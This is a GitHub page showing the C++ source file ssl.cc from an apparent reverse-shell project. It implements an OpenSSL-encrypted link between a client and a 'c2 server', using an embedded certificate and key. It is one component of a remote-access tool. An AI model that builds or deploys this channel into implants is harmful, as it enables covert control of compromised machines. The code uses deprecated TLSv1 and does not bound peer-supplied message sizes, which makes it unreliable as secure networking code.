forked from jcramb/revshell
-
Notifications
You must be signed in to change notification settings - Fork 0
/
ssl.cc
297 lines (236 loc) · 8.18 KB
/
ssl.cc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
////////////////////////////////////////////////////////////////////////////////
// ssl.cc
// author: [email protected]
#include "ssl.h"
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <ifaddrs.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <netdb.h>
#include <openssl/ssl.h>
#include <openssl/err.h>
#include <cstring>
#include <cstdio>
#include "core.h"
#include "cert.h"
#define SOCKET_BACKLOG 10
////////////////////////////////////////////////////////////////////////////////
// load SSL certificate / key from memory buffers and verify them
int ssl_load_cert_bufs(SSL_CTX * ctx, char * crt_buf, int crt_len,
char * key_buf, int key_len) {
// load certificate into openssl memory buffer
BIO * cbio = BIO_new_mem_buf(crt_buf, -1);
X509 * cert = PEM_read_bio_X509(cbio, NULL, 0, NULL);
// load key into openssl memory buffer
BIO * kbio = BIO_new_mem_buf(key_buf, -1);
RSA * key = PEM_read_bio_RSAPrivateKey(kbio, NULL, 0, NULL);
// perform verification
if (SSL_CTX_use_certificate(ctx, cert) <= 0) {
LOG("error: openssl failed to load certificate buffer\n");
return -1;
}
if (SSL_CTX_use_RSAPrivateKey(ctx, key) <= 0) {
LOG("error: openssl failed to load key buffer\n");
return -1;
}
if (!SSL_CTX_check_private_key(ctx)) {
LOG("error: private key does not match public certificate\n");
return -1;
}
return 0;
}
////////////////////////////////////////////////////////////////////////////////
// load SSL certificate / key files and verify them
// NOTE: this function isn't used since certs are loaded from memory buffers
int ssl_load_certs(SSL_CTX * ctx, char * cert_file, char * key_file) {
// set local cert from certfile
if (SSL_CTX_use_certificate_file(ctx, cert_file, SSL_FILETYPE_PEM) <= 0) {
LOG("error: failed to load certificate file\n");
return -1;
}
// set private key from keyfile (may be same as cert)
if (SSL_CTX_use_PrivateKey_file(ctx, key_file, SSL_FILETYPE_PEM) <= 0) {
LOG("error: failed to load key file\n");
return -1;
}
// verify private key
if (!SSL_CTX_check_private_key(ctx)) {
LOG("error: private key does not match public certificate\n");
return -1;
}
return 0;
}
////////////////////////////////////////////////////////////////////////////////
// debug function to print SSL certificate information
void ssl_dump_certs(SSL * ssl) {
X509 * cert;
char * line;
// get server certificate
cert = SSL_get_peer_certificate(ssl);
if (cert != NULL) {
// print cert subject
line = X509_NAME_oneline(X509_get_subject_name(cert), 0, 0);
LOG("[subject]\n%s\n", line);
free(line);
// print cert issuer
line = X509_NAME_oneline(X509_get_issuer_name(cert), 0, 0);
LOG("[issuer]\n%s\n", line);
free(line);
X509_free(cert);
} else {
LOG("info: no certs to dump\n");
}
}
////////////////////////////////////////////////////////////////////////////////
// ssl transport ctors / dtors
ssl_transport::ssl_transport() {
m_ctx = NULL;
m_ssl = NULL;
m_opt_host = sock_get_ip();
m_opt_port = 443;
}
ssl_transport::~ssl_transport() {
this->close();
}
////////////////////////////////////////////////////////////////////////////////
// blocking function to create SSL transport connection
int ssl_transport::init(int type) {
// fire up openssl
SSL_library_init();
SSL_METHOD * method;
OpenSSL_add_all_algorithms();
SSL_load_error_strings();
// determine SSL method based on transport type
if (type == TPT_CLIENT) {
method = (SSL_METHOD*)TLSv1_client_method();
} else if (type == TPT_SERVER) {
method = (SSL_METHOD*)TLSv1_server_method();
} else {
LOG("error: invalid transport type\n");
return -1;
}
// create SSL context
m_ctx = SSL_CTX_new(method);
if (m_ctx == NULL) {
LOG("error: ssl failed to created new CTX\n");
return -1;
}
// load SSL certificates from memory and verifies them
// NOTE: these buffers are generated by bin2cc.py
if (ssl_load_cert_bufs(m_ctx, _crtbuf, _crtbuf_len,
_keybuf, _keybuf_len) < 0) {
LOG("error: ssl failed to verify certificates\n");
return -1;
}
LOG("info: SSL certificates verified\n");
// create ssl session
m_ssl = SSL_new(m_ctx);
if (m_ssl == NULL) {
LOG("error: ssl failed to create session\n");
return -1;
}
// initialise connection based on whether we are the client or server
int sock;
if (type == TPT_CLIENT) {
// if client, connect to c2 server
if ((sock = m_tcp.connect(m_opt_host, m_opt_port)) < 0) {
return -1;
}
// pass socket to openssl
SSL_set_fd(m_ssl, sock);
if (SSL_connect(m_ssl) < 0) {
LOG("error: ssl connect failed\n");
return -1;
}
} else if (type == TPT_SERVER) {
// if server, bind to desired port and listen for connections
LOG("info: c2 server at %s:%d\n", m_opt_host.c_str(), m_opt_port);
if (m_tcp.bind(m_opt_port) < 0) {
return -1;
}
// accept incoming connection
LOG("info: waiting for client...\n");
if ((sock = m_tcp.accept()) < 0) {
return -1;
}
// pass client socket to openssl and accept the connection
SSL_set_fd(m_ssl, sock);
if (SSL_accept(m_ssl) < 0) {
LOG("error: ssl accept failed\n");
return -1;
}
} else {
LOG("error: invalid transport type\n");
return -1;
}
// log ssl connection info / make socket non-blocking
LOG("info: SSL connected using cipher (%s)\n", SSL_get_cipher(m_ssl));
sock_set_blocking(sock, false);
ssl_dump_certs(m_ssl);
// success!
return 0;
}
////////////////////////////////////////////////////////////////////////////////
// SSL implementation to send transport msg's
int ssl_transport::send(message & msg) {
// TODO: handle SSL_ERROR_WANT_READ
// handle SSL_ERROR_WANT_WRITE using SSL_get_error()
// http://funcptr.net/2012/04/08/openssl-as-a-filter-%28or-non-blocking-openssl%29/
int len = msg.data_len();
int bytes_sent = 0;
// send all data
while (bytes_sent < len) {
int bytes = SSL_write(m_ssl, msg.data() + bytes_sent, len - bytes_sent);
if (bytes == -1) {
LOG("error: SSL transport failed to send message!\n");
return -1;
} else {
bytes_sent += bytes;
}
}
return bytes_sent;
}
////////////////////////////////////////////////////////////////////////////////
// SSL implementation to receive transport msg's
int ssl_transport::recv(message & msg) {
// receive the message header first to determine size
int bytes = SSL_read(m_ssl, msg.data(), msg.header_len);
if (bytes == 0) {
return TPT_CLOSE;
} else if (bytes < 0) {
return TPT_EMPTY; // TODO: potential unreported errors here
}
// enforce size constraint, in case of malicious msg sizes
msg.resize(msg.body_len());
bytes = SSL_read(m_ssl, msg.body(), msg.body_len());
return bytes;
}
////////////////////////////////////////////////////////////////////////////////
// SSL implementation for handling transport options
void ssl_transport::setopt(int opt, std::string value) {
switch (opt) {
case SSL_OPT_HOST: m_opt_host = value; break;
case SSL_OPT_PORT: m_opt_port = atoi(value.c_str()); break;
}
}
////////////////////////////////////////////////////////////////////////////////
// tear down SSL connection
void ssl_transport::close() {
// free openssl data structures
if (m_ssl != NULL) {
SSL_shutdown(m_ssl);
SSL_free(m_ssl);
m_ssl = NULL;
}
if (m_ctx != NULL) {
SSL_CTX_free(m_ctx);
m_ctx = NULL;
}
// clean up tcp stream
m_tcp.close();
}
////////////////////////////////////////////////////////////////////////////////